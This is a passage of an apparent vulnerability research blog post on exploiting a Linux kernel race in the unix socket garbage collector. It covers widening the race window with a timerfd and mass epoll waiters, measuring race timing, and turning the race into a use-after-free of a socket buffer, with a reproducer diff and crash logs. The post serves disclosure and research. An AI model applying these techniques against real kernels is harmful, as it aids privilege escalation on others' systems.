Linux has the concept of a "timerfd", which is a file descriptor that refers to a timer. You can e.g. call read() on a timerfd, and that operation will block until the timer has expired. Or you can monitor the timerfd using epoll, and it will show up as readable when the timer expires.

When a timerfd becomes ready, all the timerfd's waiters (including epoll watches), which are queued up in a linked list, are woken up via the wake_up() path - just like when e.g. a pipe becomes readable. Therefore, if we can make the list of waiters really long, the interrupt handler will have to spend a lot of time iterating over that list.

And for any waitqueue that is wired up to a file descriptor, it is fairly easy to add a ton of entries thanks to epoll. Epoll ties its watches to specific FD numbers, so if you duplicate an FD with hundreds of dup() calls, you can then use a single epoll instance to install hundreds of waiters on the file. Additionally, a single process can have lots of epoll instances. I used 500 epoll instances and 100 duplicate FDs, resulting in 50 000 waitqueue items.

Measuring race outcomes

A nice aspect of this race condition is that if you only hit the difficult race (close() the FD and run unix_gc() while dup() is preempted between FD table lookup and refcount increment), no memory corruption happens yet, but you can observe that the GC has incorrectly removed a socket buffer (SKB) from the victim socket. Even better, if the race fails, you can also see in which direction it failed, as long as no FDs below the victim FD are unused:

  • If dup() returns -1, it was called too late / the interrupt happened too soon: The file* was already gone from the FD table when __fget_files() tried to load it.
  • If dup() returns a file descriptor:
  • If it returns an FD higher than the victim FD, this implies that the victim FD was only closed after dup() had already elevated the refcount and allocated a new FD. This means dup() was called too soon / the interrupt happened too late.
  • If it returns the old victim FD number:
  • If recvmsg() on the FD returned by dup() returns no data, it means the race succeeded: The GC wrongly removed the queued SKB.
  • If recvmsg() returns data, the interrupt happened between the refcount increment and the allocation of a new FD. dup() was called a little bit too soon / the interrupt happened a little bit too late.

Based on this, I repeatedly tested different timing offsets, using a spinloop with a variable number of iterations to skew the timing, and plotted what outcomes the race attempts had depending on the timing skew.

Results: Debian kernel, on Tiger Lake

I tested this on a Tiger Lake laptop, with the same kernel as shown in the disassembly. Note that "0" on the X axis is offset -300 ns relative to the timer's programmed expiry.

This graph shows histograms of race attempt outcomes (too early, success, or too late), with the timing offset at which the outcome occurred on the X axis. The graph shows that depending on the timing offset, up to around 1/3 of race attempts succeeded.

Results: Other kernel, on Skylake

This graph shows similar histograms for a Skylake processor. The exact distribution is different, but again, depending on the timing offset, around 1/3 of race attempts succeeded.

These measurements are from an older laptop with a Skylake CPU, running a different kernel. Here "0" on the X axis is offset -1 us relative to the timer. (These timings are from a system that's running a different kernel from the one shown above, but I don't think that makes a difference.)

The exact timings of course look different between CPUs, and they probably also change based on CPU frequency scaling? But still, if you know what the right timing is (or measure the machine's timing before attempting to actually exploit the bug), you could hit this narrow race with a success rate of about 30%!

How important is the cache miss?

The previous section showed that with the right timing, the race succeeds with a probability around 30% - but it doesn't show whether the cache miss is actually important for that, or whether the race would still work fine without it. To verify that, I patched my test code to try to make the file's cache line hot (present in the cache) instead of cold (not present in the cache):

@@ -312,8 +312,10 @@

     }

 

+#if 0

     // bounce socket's file refcount over to other cpu

     pin_to(2);

     close(SYSCHK(dup(RESURRECT_FD+1-1)));

     pin_to(1);

+#endif

 

     //printf("setting timer\n");

@@ -352,5 +354,5 @@

     close(loop_root);

     while (ts_is_in_future(spin_stop))

-      close(SYSCHK(dup(FAKE_RESURRECT_FD)));

+      close(SYSCHK(dup(RESURRECT_FD)));

     while (ts_is_in_future(my_launch_ts)) /*spin*/;

With that patch, the race outcomes look like this on the Tiger Lake laptop:

This graph is a histogram of race outcomes depending on timing offset; it looks similar to the previous graphs, except that almost no race attempts succeed anymore.

But wait, those graphs make no sense!

If you've been paying attention, you may have noticed that the timing graphs I've been showing are really weird. If we were deterministically hitting the race in exactly the same way every time, the timing graph should look like this (looking just at the "too-early" and "too-late" cases for simplicity):

A sketch of a histogram of race outcomes where the "too early" outcome suddenly drops from 100% probability to 0% probability, and a bit afterwards, the "too late" outcome jumps from 0% probability to 100%

Sure, maybe there is some microarchitectural state that is different between runs, causing timing variations - cache state, branch predictor state, frequency scaling, or something along those lines -, but a small number of discrete events that haven't been accounted for should be adding steps to the graph. (If you're mathematically inclined, you can model that as the result of a convolution of the ideal timing graph with the timing delay distributions of individual discrete events.) For two unaccounted events, that might look like this:

A sketch of a histogram of race outcomes where the "too early" outcome drops from 100% probability to 0% probability in multiple discrete steps, and overlapping that, the "too late" outcome goes up from 0% probability to 100% in multiple discrete steps

But what the graphs are showing is more of a smooth, linear transition, like this:

A sketch of a histogram of race outcomes where the "too early" outcome's share linearly drops while the "too late" outcome's share linearly rises

And that seems to me like there's still something fundamentally wrong. Sure, if there was a sufficiently large number of discrete events mixed together, the curve would eventually just look like a smooth smear - but it seems unlikely to me that there is such a large number of somewhat-evenly distributed random discrete events. And sure, we do get a small amount of timing inaccuracy from sampling the clock in a spinloop, but that should be bounded to the execution time of that spinloop, and the timing smear is far too big for that.

So it looks like there is a source of randomness that isn't a discrete event, but something that introduces a random amount of timing delay within some window. So I became suspicious of the hardware timer. The kernel is using MSR_IA32_TSC_DEADLINE, and the Intel SDM tells us that that thing is programmed with a TSC value, which makes it look as if the timer has very high granularity. But MSR_IA32_TSC_DEADLINE is a newer mode of the LAPIC timer, and the older LAPIC timer modes were instead programmed in units of the APIC timer frequency. According to the Intel SDM, Volume 3A, section 10.5.4 "APIC Timer", that is "the processor’s bus clock or core crystal clock frequency (when TSC/core crystal clock ratio is enumerated in CPUID leaf 0x15) divided by the value specified in the divide configuration register". This frequency is significantly lower than the TSC frequency. So perhaps MSR_IA32_TSC_DEADLINE is actually just a front-end to the same old APIC timer?

I tried to measure the difference between the programmed TSC value and when execution was actually interrupted (not when the interrupt handler starts running, but when the old execution context is interrupted - you can measure that if the interrupted execution context is just running RDTSC in a loop); that looks as follows:

A graph showing noise. Delays from deadline TSC to last successful TSC read before interrupt look essentially random, in the range from around -130 to around 10.

As you can see, the expiry of the hardware timer indeed adds a bunch of noise. The size of the timing difference is also very close to the crystal clock frequency - the TSC/core crystal clock ratio on this machine is 117. So I tried plotting the absolute TSC values at which execution was interrupted, modulo the TSC / core crystal clock ratio, and got this:

A graph showing a clear grouping around 0, roughly in the range -20 to 10, with some noise scattered over the rest of the graph.

This confirms that MSR_IA32_TSC_DEADLINE is (apparently) an interface that internally converts the specified TSC value into less granular bus clock / core crystal clock time, at least on some Intel CPUs.

But there's still something really weird here: The TSC values at which execution seems to be interrupted were at negative offsets relative to the programmed expiry time, as if the timeouts were rounded down to the less granular clock, or something along those lines. To get a better idea of how timer interrupts work, I measured on yet another system (an old Haswell CPU) with a patched kernel when execution is interrupted and when the interrupt handler starts executing relative to the programmed expiry time (and also plotted the difference between the two):

A graph showing that the skid from programmed interrupt time to execution interruption is around -100 to -30 cycles, the skid to interrupt entry is around 360 to 420 cycles, and the time from execution interruption to interrupt entry has much less timing variance and is at around 440 cycles.

So it looks like the CPU starts handling timer interrupts a little bit before the programmed expiry time, but interrupt handler entry takes so long (~450 TSC clock cycles?) that by the time the CPU starts executing the interrupt handler, the timer expiry time has long passed.

Anyway, the important bit for us is that when the CPU interrupts execution due to timer expiry, it's always at a LAPIC timer edge; and LAPIC timer edges happen when the TSC value is a multiple of the TSC/LAPIC clock ratio. An exploit that doesn't take that into account and wrongly assumes that MSR_IA32_TSC_DEADLINE has TSC granularity will have its timing smeared by one LAPIC clock period, which can be something like 40ns.

The ~30% accuracy we could achieve with the existing PoC with the right timing is already not terrible; but if we control for the timer's weirdness, can we do better?

The problem is that we are effectively launching the race with two timers that behave differently: One timer based on calling clock_gettime() in a loop (which uses the high-resolution TSC to compute a time), the other a hardware timer based on the lower-resolution LAPIC clock. I see two options to fix this:

  1. Try to ensure that the second timer is set at the start of a LAPIC clock period - that way, the second timer should hopefully behave exactly like the first (or have an additional fixed offset, but we can compensate for that).
  2. Shift the first timer's expiry time down according to the distance from the second timer to the previous LAPIC clock period.

(One annoyance with this is that while we can grab information on how wall/monotonic time is calculated from TSC from the vvar mapping used by the vDSO, the clock is subject to minuscule additional corrections at every clock tick, which occur every 4ms on standard distro kernels (with CONFIG_HZ=250) as long as any core is running.)

I tried to see whether the timing graph would look nicer if I accounted for this LAPIC clock rounding and also used a custom kernel to cheat and control for possible skid introduced by the absolute-to-relative-and-back conversion of the expiry time (see further up), but that still didn't help all that much.

(No) surprise: clock speed matters

Something I should've thought about way earlier is that of course, clock speed matters. On newer Intel CPUs with P-states, the CPU is normally in control of its own frequency, and dynamically adjusts it as it sees fit; the OS just provides some hints.

Linux has an interface that claims to tell you the "current frequency" of each CPU core in /sys/devices/system/cpu/cpufreq/policy<n>/scaling_cur_freq, but when I tried using that, I got a different "frequency" every time I read that file, which seemed suspicious.

Looking at the implementation, it turns out that the value shown there is calculated in arch_freq_get_on_cpu() and its callees - the value is calculated on demand when the file is read, with results cached for around 10 milliseconds. The value is determined as the ratio between the deltas of MSR_IA32_APERF and MSR_IA32_MPERF between the last read and the current one. So if you have some tool that is polling these values every few seconds and wants to show average clock frequency over that time, it's probably a good way of doing things; but if you actually want the current clock frequency, it's not a good fit.

I hacked a helper into my kernel that samples both MSRs twice in quick succession, and that gives much cleaner results. When I measure the clock speeds and timing offsets at which the race succeeds, the result looks like this (showing just two clock speeds; the Y axis is the number of race successes at the clock offset specified on the X axis and the frequency scaling specified by the color):

A graph showing that the timing of successful race attempts depends on the CPU's performance setting - at 11/28 performance, most successful race attempts occur around clock offset -1200 (in TSC units), while at 14/28 performance, most successful race attempts occur around clock offset -1000.

So clearly, dynamic frequency scaling has a huge impact on the timing of the race - I guess that's to be expected, really.

But even accounting for all this, the graph still looks kind of smooth, so clearly there is still something more that I'm missing - oh well. I decided to stop experimenting with the race's timing at this point, since I didn't want to sink too much time into it. (Or perhaps I actually just stopped because I got distracted by newer and shinier things?)

Causing a UAF

Anyway, I could probably spend much more time trying to investigate the timing variations (and probably mostly bang my head against a wall because details of execution timing are really difficult to understand in detail, and to understand it completely, it might be necessary to use something like Gamozo Labs' "Sushi Roll" and then go through every single instruction in detail and compare the observations to the internal architecture of the CPU). Let's not do that, and get back to how to actually exploit this bug!

To turn this bug into memory corruption, we have to abuse that the recvmsg() path assumes that SKBs on the receive queue are protected from deletion by the socket mutex while the GC actually deletes SKBs from the receive queue without touching the socket mutex. For that purpose, while the unix GC is running, we have to start a recvmsg() call that looks up the victim SKB, block until the unix GC has freed the SKB, and then let recvmsg() continue operating on the freed SKB. This is fairly straightforward - while it is a race, we can easily slow down unix_gc() for multiple milliseconds by creating lots of sockets that are not directly referenced from the FD table and have many tiny SKBs queued up - here's a graph showing the unix GC execution time on my laptop, depending on the number of queued SKBs that the GC has to scan through:

A graph showing the time spent per GC run depending on the number of queued SKBs. The relationship is roughly linear.

To turn this into a UAF, it's also necessary to get past the following check near the end of unix_gc():

       /* All candidates should have been detached by now. */

        BUG_ON(!list_empty(&gc_candidates));

gc_candidates is a list that previously contained all sockets that were deemed to be unreachable by the GC. Then, the GC attempted to free all those sockets by eliminating their mutual references. If we manage to keep a reference to one of the sockets that the GC thought was going away, the GC detects that with the BUG_ON().

But we don't actually need the victim SKB to reference a socket that the GC thinks is going away; in scan_inflight(), the GC targets any SKB with a socket that is marked UNIX_GC_CANDIDATE, meaning it just had to be a candidate for being scanned by the GC. So by making the victim SKB hold a reference to a socket that is not directly referenced from a file descriptor table, but is indirectly referenced by a file descriptor table through another socket, we can ensure that the BUG_ON() won't trigger.

I extended my reproducer with this trick and some userfaultfd trickery to make recv() run with the right timing. Nowadays you don't necessarily get full access to userfaultfd as a normal user, but since I'm just trying to show the concept, and there are alternatives to userfaultfd (using FUSE or just slow disk access), that's good enough for this blogpost.

When a normal distro kernel is running normally, the UAF reproducer's UAF accesses won't actually be noticeable; but if you add the kernel command line flag slub_debug=FP (to enable SLUB's poisoning and sanity checks), the reproducer quickly crashes twice, first with a poison dereference and then a poison overwrite detection, showing that one byte of the poison was incremented:

general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6b6b: 0000 [#1] SMP NOPTI

CPU: 1 PID: 2655 Comm: hardirq_loop Not tainted 5.10.0-9-amd64 #1 Debian 5.10.70-1

[...]

RIP: 0010:unix_stream_read_generic+0x72b/0x870

Code: fe ff ff 31 ff e8 85 87 91 ff e9 a5 fe ff ff 45 01 77 44 8b 83 80 01 00 00 85 c0 0f 89 10 01 00 00 49 8b 47 38 48 85 c0 74 23 <0f> bf 00 66 85 c0 0f 85 20 01 00 00 4c 89 fe 48 8d 7c 24 58 44 89

RSP: 0018:ffffb789027f7cf0 EFLAGS: 00010202

RAX: 6b6b6b6b6b6b6b6b RBX: ffff982d1d897b40 RCX: 0000000000000000

RDX: 6a0fe1820359dce8 RSI: ffffffffa81f9ba0 RDI: 0000000000000246

RBP: ffff982d1d897ea8 R08: 0000000000000000 R09: 0000000000000000

R10: 0000000000000000 R11: ffff982d2645c900 R12: ffffb789027f7dd0

R13: ffff982d1d897c10 R14: 0000000000000001 R15: ffff982d3390e000

FS:  00007f547209d740(0000) GS:ffff98309fa40000(0000) knlGS:0000000000000000

CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033

CR2: 00007f54722cd000 CR3: 00000001b61f4002 CR4: 0000000000770ee0

PKRU: 55555554

Call Trace:

[...]

 unix_stream_recvmsg+0x53/0x70

[...]

 __sys_recvfrom+0x166/0x180

[...]

 __x64_sys_recvfrom+0x25/0x30

 do_syscall_64+0x33/0x80

 entry_SYSCALL_64_after_hwframe+0x44/0xa9

[...]

---[ end trace 39a81eb3a52e239c ]---

=============================================================================

BUG skbuff_head_cache (Tainted: G      D          ): Poison overwritten

-----------------------------------------------------------------------------

INFO: 0x00000000d7142451-0x00000000d7142451 @offset=68. First byte 0x6c instead of 0x6b

INFO: Slab 0x000000002f95c13c objects=32 used=32 fp=0x0000000000000000 flags=0x17ffffc0010200

INFO: Object 0x00000000ef9c59c8 @offset=0 fp=0x00000000100a3918

Object   00000000ef9c59c8: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   0000000097454be8: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   0000000035f1d791: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   00000000af71b907: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   000000000d2d371e: 6b 6b 6b 6b 6c 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkklkkkkkkkkkkk

Object   0000000000744b35: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   00000000794f2935: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   000000006dc06746: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   000000005fb18682: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   0000000072eb8dd2: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   00000000b5b572a9: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   0000000085d6850b: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   000000006346150b: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b  kkkkkkkkkkkkkkkk

Object   000000000ddd1ced: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b a5  kkkkkkkkkkkkkkk.

Padding  00000000e00889a7: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ

Padding  00000000d190015f: 5a 5a 5a 5a 5a 5a 5a 5a                          ZZZZZZZZ

CPU: 7 PID: 1641 Comm: gnome-shell Tainted: G    B D           5.10.0-9-amd64 #1 Debian 5.10.70-1

[...]

Call Trace:

 dump_stack+0x6b/0x83

 check_bytes_and_report.cold+0x79/0x9a

 check_object+0x217/0x260

[...]

 alloc_debug_processing+0xd5/0x130

 ___slab_alloc+0x511/0x570

[...]

 __slab_alloc+0x1c/0x30

 kmem_cache_alloc_node+0x1f3/0x210

 __alloc_skb+0x46/0x1f0

 alloc_skb_with_frags+0x4d/0x1b0

 sock_alloc_send_pskb+0x1f3/0x220

[...]

 unix_stream_sendmsg+0x268/0x4d0

 sock_sendmsg+0x5e/0x60

 ____sys_sendmsg+0x22e/0x270

[...]

 ___sys_sendmsg+0x75/0xb0

[...]

 __sys_sendmsg+0x59/0xa0

 do_syscall_64+0x33/0x80

 entry_SYSCALL_64_after_hwframe+0x44/0xa9

[...]

FIX skbuff_head_cache: Restoring 0x00000000d7142451-0x00000000d7142451=0x6b

FIX skbuff_head_cache: Marking all objects used

RIP: 0010:unix_stream_read_generic+0x72b/0x870

Code: fe ff ff 31 ff e8 85 87 91 ff e9 a5 fe ff ff 45 01 77 44 8b 83 80 01 00 00 85 c0 0f 89 10 01 00 00 49 8b 47 38 48 85 c0 74 23 <0f> bf 00 66 85 c0 0f 85 20 01 00 00 4c 89 fe 48 8d 7c 24 58 44 89

RSP: 0018:ffffb789027f7cf0 EFLAGS: 00010202

RAX: 6b6b6b6b6b6b6b6b RBX: ffff982d1d897b40 RCX: 0000000000000000

RDX: 6a0fe1820359dce8 RSI: ffffffffa81f9ba0 RDI: 0000000000000246

RBP: ffff982d1d897ea8 R08: 0000000000000000 R09: 0000000000000000

R10: 0000000000000000 R11: ffff982d2645c900 R12: ffffb789027f7dd0

R13: ffff982d1d897c10 R14: 0000000000000001 R15: ffff982d3390e000

FS:  00007f547209d740(0000) GS:ffff98309fa40000(0000) knlGS:0000000000000000

CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033

CR2: 00007f54722cd000 CR3: 00000001b61f4002 CR4: 0000000000770ee0

PKRU: 55555554

Conclusion(s)

Hitting a race can become easier if, instead of racing two threads against each other, you race one thread against a hardware timer to create a gigantic timing window for the other thread. Hence the title! On the other hand, it introduces extra complexity because now you have to think about how timers actually work, and turns out, time is a complicated concept...

This shows how at least some really tight races can still be hit and we should treat them as security bugs, even if it seems like they'd be very hard to hit at first glance.

Also, precisely timing races is hard, and the details of how long it actually takes the CPU to get from one point to another are mysterious. (As not only exploit writers know, but also anyone who's ever wanted to benchmark a performance-relevant change...)

Appendix: How impatient are interrupts?

I did also play around with this stuff on arm64 a bit, and I was wondering: At what points do interrupts actually get delivered? Does an incoming interrupt force the CPU to drop everything immediately, or do inflight operations finish first? This gets particularly interesting on phones that contain two or three different types of CPUs mixed together.

On a Pixel 4 (which has 4 slow in-order cores, 3 fast cores, and 1 faster core), I tried firing an interval timer at 100Hz (using timer_create()), with a signal handler that logs the PC register, while running this loop:

  400680:        91000442         add        x2, x2, #0x1

  400684:        91000421         add        x1, x1, #0x1

  400688:        9ac20820         udiv        x0, x1, x2

  40068c:        91006800         add        x0, x0, #0x1a

  400690:        91000400         add        x0, x0, #0x1

  400694:        91000442         add        x2, x2, #0x1

  400698:        91000421         add        x1, x1, #0x1

  40069c:        91000442         add        x2, x2, #0x1

  4006a0:        91000421         add        x1, x1, #0x1

  4006a4:        9ac20820         udiv        x0, x1, x2

  4006a8:        91006800         add        x0, x0, #0x1a

  4006ac:        91000400         add        x0, x0, #0x1

  4006b0:        91000442         add        x2, x2, #0x1

  4006b4:        91000421         add        x1, x1, #0x1

  4006b8:        91000442         add        x2, x2, #0x1

  4006bc:        91000421         add        x1, x1, #0x1

  4006c0:        17fffff0         b        400680 <main+0xe0>

The logged interrupt PCs had the following distribution on a slow in-order core:

A histogram of PC register values, where most instructions in the loop have roughly equal frequency, the instructions after udiv instructions have twice the frequency, and two other instructions have zero frequency.

and this distribution on a fast out-of-order core:

A histogram of PC register values, where the first instruction of the loop has very high frequency, the following 4 instructions have near-zero frequency, and the following instructions have low frequencies

As always, out-of-order (OOO) cores make everything weird, and the start of the loop seems to somehow "provide cover" for the following instructions; but on the in-order core, we can see that more interrupts arrive after the slow udiv instructions. So apparently, when one of those is executing while an interrupt arrives, it continues executing and doesn't get aborted somehow?

With the following loop, which has a LDR instruction mixed in that accesses a memory location that is constantly being modified by another thread:

  4006a0:        91000442         add        x2, x2, #0x1

  4006a4:        91000421         add        x1, x1, #0x1

  4006a8:        9ac20820         udiv        x0, x1, x2

  4006ac:        91006800         add        x0, x0, #0x1a

  4006b0:        91000400         add        x0, x0, #0x1

  4006b4:        91000442         add        x2, x2, #0x1

  4006b8:        91000421         add        x1, x1, #0x1

  4006bc:        91000442         add        x2, x2, #0x1

  4006c0:        91000421         add        x1, x1, #0x1

  4006c4:        9ac20820         udiv        x0, x1, x2

  4006c8:        91006800         add        x0, x0, #0x1a

  4006cc:        91000400         add        x0, x0, #0x1

  4006d0:        91000442         add        x2, x2, #0x1

  4006d4:        f9400061         ldr        x1, [x3]

  4006d8:        91000421         add        x1, x1, #0x1

  4006dc:        91000442         add        x2, x2, #0x1

  4006e0:        91000421         add        x1, x1, #0x1

  4006e4:        17ffffef         b        4006a0 <main+0x100>

the cache-missing loads obviously have a large influence on the timing. On the in-order core:

A histogram of interrupt instruction pointers, showing that most interrupts are delivered with PC pointing to the instruction after the high-latency load instruction.

On the OOO core:

A similar histogram as the previous one, except that an even larger fraction of interrupt PCs are after the high-latency load instruction.

What is interesting to me here is that the timer interrupts seem to again arrive after the slow load - implying that if an interrupt arrives while a slow memory access is in progress, the interrupt handler may not get to execute until the memory access has finished? (Unless maybe on the OOO core the interrupt handler can start speculating already? I wouldn't really expect that, but could imagine it.)

On an X86 Skylake CPU, we can do a similar test:

    11b8:        48 83 c3 01                  add    $0x1,%rbx

    11bc:        48 83 c0 01                  add    $0x1,%rax

    11c0:        48 01 d8                     add    %rbx,%rax

    11c3:        48 83 c3 01                  add    $0x1,%rbx

    11c7:        48 83 c0 01                  add    $0x1,%rax

    11cb:        48 01 d8                     add    %rbx,%rax

    11ce:        48 03 02                     add    (%rdx),%rax

    11d1:        48 83 c0 01                  add    $0x1,%rax

    11d5:        48 83 c3 01                  add    $0x1,%rbx

    11d9:        48 01 d8                     add    %rbx,%rax

    11dc:        48 83 c3 01                  add    $0x1,%rbx

    11e0:        48 83 c0 01                  add    $0x1,%rax

    11e4:        48 01 d8                     add    %rbx,%rax

    11e7:        eb cf                        jmp    11b8 <main+0xf8>

with a similar result:

A histogram of interrupt instruction pointers, showing that almost all interrupts were delivered with RIP pointing to the instruction after the high-latency load.

This means that if the first access to the file terminated our race window (which is not the case), we probably wouldn't be able to win the race by making the access to the file slow - instead we'd have to slow down one of the operations before that. (But note that I have only tested simple loads, not stores or read-modify-write operations here.)